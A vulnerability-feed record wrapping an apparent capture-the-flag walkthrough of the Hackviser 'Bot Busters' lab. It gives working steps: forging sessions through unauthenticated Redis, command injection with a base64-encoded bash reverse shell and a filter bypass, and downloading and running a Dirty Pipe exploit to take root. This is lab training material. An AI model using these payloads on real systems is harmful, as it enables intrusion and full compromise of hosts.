{"uuid": "4df7bd4e-b545-42fe-bbb7-bf2090068754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://gist.github.com/Wrindzler/b3e872c6886f16b8ab5c0e0477057691", "content": "# Hackviser Bot Busters \u2014 Full Machine Walkthrough\n\n**Scenario:** [Hackviser \u2014 Bot Busters](https://app.hackviser.com/scenarios/bot-busters)\n\n**Target:** `blackbot.hv` (lab IP may vary)\n\n**Notes:** Authorized lab only. Technique path only \u2014 lab flags and answers are intentionally omitted. Discover them yourself.\n\n> **Disclaimer:** This content is for an authorized Hackviser laboratory scenario only. Do not use these techniques on systems you do not own or lack written permission to test.\n\n## Mission brief\n\nBot Busters puts you against a simulated botnet control panel. Operators use a web application branded around DDoS / flood attacks. Your job is to:\n\n1. Enumerate the target\n2. Bypass the free-tier restriction\n3. Gain remote code execution\n4. Escalate to root\n5. Answer Hackviser\u2019s five TASK questions (exact wording below)\n6. Take over the server and stop the simulated botnet narrative\n\n**Successful attack chain:**\n\n```text\nRegister free account\n        \u2193\nUnauthenticated Redis \u2192 forge session (isPremium + isAdmin)\n        \u2193\nAttack Panel command injection (+ slash filter bypass)\n        \u2193\nReverse shell as blackbot\n        \u2193\nDirty Pipe \u2192 root (password is set by the PoC \u2014 read its output/source)\n        \u2193\nLoot /root (secret.txt, targets.txt) for scenario answers\n```\n\n**Stack observed in the lab:**\n\n- **Host / hostname:** `blackbot.hv` / `comet`\n- **Web:** nginx + Go application under `/home/blackbot/blackbot`\n- **Session store:** Redis **6.2.12** on **6379/tcp** (no AUTH)\n- **Cookie:** Session cookie **value** (UUID) = Redis key\n- **Shell user:** `blackbot`\n- **Kernel:** `5.11.0-051100-generic` (Dirty Pipe range)\n\nReplace `` with your Hackviser VPN address (`ip -4 addr show tun0`). Session UUIDs and `userID` values are unique per run \u2014 always use **your** cookie and Redis values.\n\n## 1. Reconnaissance\n\n### 1.1 Port scan\n\n```bash\nnmap -p 80,443,6379 -sV blackbot.hv\n```\n\nExpected services:\n\n- **80/tcp** \u2014 HTTP (nginx) \u2192 botnet panel UI\n- **6379/tcp** \u2014 Redis 6.2.12 \u2192 **unauthenticated and reachable**\n\nAn open Redis instance on the same network as the web app is a high-value finding. Session data is almost certainly there.\n\n### 1.2 Web application\n\nOpen `http://blackbot.hv` in the browser.\n\n- Sign-up / Sign-in forms are available\n- After login you land on a dashboard\n- Sidebar includes **Attack Panel**, **Profile**, **Documentation**, **Pricing**, **Support**, etc.\n- Bottom corner shows **Free Version**\n\nCreate an account (example test values):\n\n- Username: `testuser`\n- Email: `test@test.hv`\n- Password: `Test123!`\n\nAccept privacy terms \u2192 Sign up \u2192 Sign in.\n\n### 1.3 Attack Panel as a free user\n\nOpen **Attack Panel**. Fields include:\n\n- **TARGET**\n- **ATTACK TYPE** (e.g. `TCP-SYN FLOOD`)\n- **Start**\n\nWithout premium, the application returns:\n\n> You must be a premium user to use this feature.\n\nSo the feature exists, but authorization is enforced in application logic. Next step: become premium without paying.\n\n## 2. Official Hackviser TASKS (exact wording)\n\nThese are the only scenario questions:\n\n- **Task 1 (10 pts):** What is the username of the developer of the website?\n- **Task 2 (10 pts):** What is the email address of the user with the admin role of the website?\n- **Task 3 (10 pts):** What is the CVE code of the vulnerability that can be used for privilige escalation?\n- **Task 4 (15 pts):** What is the phone number of the attackers?\n- **Task 5 (15 pts):** What are any of the addresses targeted by the attackers?\n\nAnswers are **not** listed in this writeup. Below you only get *where* to look while following the exploit path.\n\n### Session cookie (needed for Redis \u2014 not a TASK)\n\nBefore Redis, open DevTools \u2192 Cookies for `http://blackbot.hv`. Copy the session cookie **value** (UUID). That value is the Redis key. The cookie name itself is **not** one of the five tasks above.\n\n## 3. Redis session privilege escalation (premium + admin)\n\n### 3.1 Connect to Redis\n\n```bash\nredis-cli -h blackbot.hv\n```\n\nor:\n\n```bash\nredis-cli -h \n```\n\nInside Redis:\n\n```text\nPING\nKEYS *\n```\n\nYou will see a key equal to your session cookie **value** (UUID) \u2014 exact match.\n\n### 3.2 Read the session\n\n```text\nGET \nTYPE \n```\n\nSession JSON structure:\n\n```json\n{\n  \"userID\": \"\",\n  \"username\": \"testuser\",\n  \"isAdmin\": false,\n  \"isPremium\": false\n}\n```\n\nThere is no client-side signature you must forge. The application trusts Redis. If you can write the key, you control authorization.\n\n### 3.3 Elevate the session\n\nKeep your real `userID` and username. Set both flags to `true`:\n\n```text\nSET  \"{\\\"userID\\\":\\\"\\\",\\\"username\\\":\\\"testuser\\\",\\\"isAdmin\\\":true,\\\"isPremium\\\":true}\"\n```\n\nConfirm:\n\n```text\nGET \n```\n\nYou should see `\"isPremium\":true` and `\"isAdmin\":true`.\n\n### 3.4 Refresh the browser\n\nPress **F5** on `http://blackbot.hv`.\n\n- Badge changes from **Free Version** \u2192 **Premium Version**\n- **Attack Panel** becomes usable\n\n### Why this works\n\nAuthorization decisions (`isPremium`, `isAdmin`) are stored in Redis and read on each request. Exposing Redis without `AUTH` / ACLs / network isolation turns cache access into **remote privilege escalation**.\n\n## 4. Command injection in Attack Panel\n\n### 4.1 Confirm injection\n\nIn Attack Panel:\n\n1. ATTACK TYPE \u2192 `TCP-SYN FLOOD`\n2. TARGET:\n\n```text\n127.0.0.1; id\n```\n\n3. Click **Start**\n\nSuccess message / command execution confirms OS command injection via the TARGET parameter (classic `;` chaining after an IP-like prefix).\n\n### 4.2 Filter reality (what actually works)\n\nThe panel filters some characters in payloads \u2014 especially `/`. Direct reverse-shell strings that contain `/dev/tcp/...` in cleartext are blocked.\n\nWorking approach: **encode the reverse shell in base64** so slash characters never appear in the TARGET field in cleartext, then decode and execute with brace expansion.\n\n### 4.3 Generate the payload on Kali\n\nFind your VPN IP:\n\n```bash\nip -4 addr show tun0\n```\n\nEncode the reverse shell (replace the IP):\n\n```bash\necho -n 'bash -i >& /dev/tcp//4444 0>&1' | base64 -w 0\n```\n\nCopy the base64 output \u2014 you will paste it into the Attack Panel payload.\n\n### 4.4 Catch the shell\n\nOn Kali:\n\n```bash\nnc -lvnp 4444\n```\n\nIn Attack Panel TARGET (ATTACK TYPE selected), substitute your base64 blob:\n\n```text\n127.0.0.1;{echo,}|{base64,-d}|{bash,-i}\n```\n\nClick **Start**.\n\n**What this payload does:**\n\n1. `{echo,BASE64}` prints the encoded blob (commas = argument separators in brace expansion)\n2. `{base64,-d}` decodes to the real bash reverse shell\n3. `{bash,-i}` executes it\n\nThe browser request may appear to hang \u2014 that is normal while the reverse connection stays open. Focus on the `nc` window.\n\n### 4.5 Shell context\n\nYou land as:\n\n- User: `blackbot`\n- Host: `comet`\n- Typical cwd: `~/blackbot/cmd` or under `/home/blackbot`\n\nUseful first commands:\n\n```bash\nwhoami\nid\nuname -a\npwd\nls -la ~\nls -la ~/blackbot\n```\n\n## 5. Post-exploitation \u2014 Tasks 1\u20133 (from the host)\n\n### Task 1 \u2014 Developer username\n\n> What is the username of the developer of the website?\n\n**Where to look:**\n\n```bash\nls -la /home/blackbot\nfind /home/blackbot -type f 2>/dev/null | head -100\ngrep -riE 'developer|author|@' /home/blackbot 2>/dev/null | head -50\n```\n\nSubmit the developer **username** you find in notes/files \u2014 spoiler omitted.\n\n### Task 2 \u2014 Admin role email\n\n> What is the email address of the user with the admin role of the website?\n\n**Where to look:**\n\n```bash\ncd /home/blackbot/blackbot\nsqlite3 internal/storage/database/database.db .tables\nsqlite3 internal/storage/database/database.db \"SELECT id,username,email,is_admin,is_premium FROM users;\"\n```\n\nFind the row where admin is set / admin role applies, then submit that user\u2019s **email** \u2014 spoiler omitted.\n\nOptional: forge a Redis session with that user\u2019s `userID`, point your browser cookie value at the new key, refresh, and inspect Profile/UI as that user.\n\n### Source check (not a task \u2014 helps understanding)\n\n```bash\ncat internal/app/handlers/attack.go\ncat internal/config/config.go\n```\n\nConfirms TARGET command injection and how sessions/Redis are wired.\n\n### Task 3 \u2014 Privilege escalation CVE\n\n> What is the CVE code of the vulnerability that can be used for privilige escalation?\n\n(Platform spelling: *privilige*.)\n\n**Where to look:**\n\n```bash\nuname -r\n```\n\nMap the kernel version to the local privilege-escalation family used next (**Dirty Pipe**). Submit the matching CVE as `CVE-YYYY-NNNN`. Exact CVE omitted \u2014 derive it from the kernel.\n\n## 6. Privilege escalation \u2014 Dirty Pipe\n\nDirty Pipe allows overwriting data in privileged files via a kernel pipe bug. Public PoCs can overwrite the root password hash so you can authenticate as root with a known password.\n\n### 6.1 Build a static exploit on Kali\n\nPrefer a **static** binary so the target\u2019s older glibc does not matter:\n\n```bash\ncd /tmp\ngit clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git\ncd CVE-2022-0847-DirtyPipe-Exploits\nls -la\ngcc -static exploit-1.c -o dpipe\npython3 -m http.server 8001\n```\n\n(Use the actual `.c` filename present in the cloned repo if naming differs.)\n\n### 6.2 Download and run on the target\n\nOn the reverse shell:\n\n```bash\ncd /tmp\nwget http://:8001/dpipe -O dpipe\nchmod +x dpipe\n./dpipe\n```\n\nAfter a successful run, the PoC sets a known root password. Read the exploit banner/output (or the `.c` source) for the password string \u2014 not printed here.\n\n### 6.3 Upgrade to a PTY, then `su`\n\nRaw reverse shells often have no TTY. Allocate a PTY before `su`:\n\n```bash\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")'\n```\n\nThen:\n\n```bash\nsu root\n```\n\nPassword (invisible while typing): use the value set by the PoC.\n\nConfirm:\n\n```bash\nwhoami\nid\n```\n\nYou should be **root**.\n\n## 7. Root loot \u2014 Tasks 4\u20135\n\n### Task 4 \u2014 Attacker phone number\n\n> What is the phone number of the attackers?\n\n**Where to look:**\n\n```bash\nls -la /root\ncat /root/secret.txt\n```\n\nRead the phone from `secret.txt` and submit it \u2014 spoiler omitted.\n\n### Task 5 \u2014 Targeted addresses\n\n> What are any of the addresses targeted by the attackers?\n\n**Where to look:**\n\n```bash\ncat /root/targets.txt\n```\n\nSubmit **any one** address/domain from that list \u2014 spoiler omitted.\n\nTaking over root and owning the control panel completes the \u201cstop the botnet / take over their server\u201d storyline.\n\n## 8. TASK map (no answer values)\n\n- **Task 1** \u2014 Developer username \u2192 look in `/home/blackbot` notes / files\n- **Task 2** \u2014 Admin email \u2192 SQLite `users` table (`is_admin` / admin role)\n- **Task 3** \u2014 Priv-esc CVE \u2192 `uname -r` \u2192 Dirty Pipe CVE\n- **Task 4** \u2014 Attacker phone \u2192 `/root/secret.txt`\n- **Task 5** \u2014 Targeted addresses \u2192 `/root/targets.txt` (any one entry)\n\nExact answer strings are intentionally not listed.\n\n## 9. End-to-end command checklist\n\n```bash\n# Recon\nnmap -p 80,6379 -sV blackbot.hv\n\n# Redis privilege escalation\nredis-cli -h blackbot.hv\n# PING / KEYS * / GET \n# SET  \"{\\\"userID\\\":\\\"\\\",\\\"username\\\":\\\"testuser\\\",\\\"isAdmin\\\":true,\\\"isPremium\\\":true}\"\n\n# Listener\nnc -lvnp 4444\n\n# Attack Panel TARGET\n# 127.0.0.1;{echo,}|{base64,-d}|{bash,-i}\n\n# Host enum\nwhoami; id; uname -r\nsqlite3 ~/blackbot/internal/storage/database/database.db \"SELECT username,email FROM users;\"\n\n# Dirty Pipe (on Kali)\ncd /tmp && git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git\ncd CVE-2022-0847-DirtyPipe-Exploits && gcc -static exploit-1.c -o dpipe && python3 -m http.server 8001\n\n# Dirty Pipe (on target)\ncd /tmp && wget http://:8001/dpipe -O dpipe && chmod +x dpipe && ./dpipe\npython3 -c 'import pty;pty.spawn(\"/bin/bash\")'\nsu root   # password: from Dirty Pipe PoC output\ncat /root/secret.txt\ncat /root/targets.txt\n```\n\n## 10. Key takeaways\n\n1. Unauthenticated Redis holding sessions = remote auth bypass.\n2. UI \u201cpremium checks\u201d are meaningless if the session backend is writable.\n3. Character filters on command injection are bypassed with encoding (base64) and shell metaprogramming (brace expansion).\n4. Always check `uname -r` early; Dirty Pipe remains relevant on matching kernels.\n5. Interactive privilege tools need a PTY (`python3 pty.spawn`) on reverse shells.\n\n---\n\n*Authorized Hackviser Bot Busters lab solve. Replace ``, ``, and `` with values from your own instance.*\n", "creation_timestamp": "2026-07-26T09:57:23.492734Z"}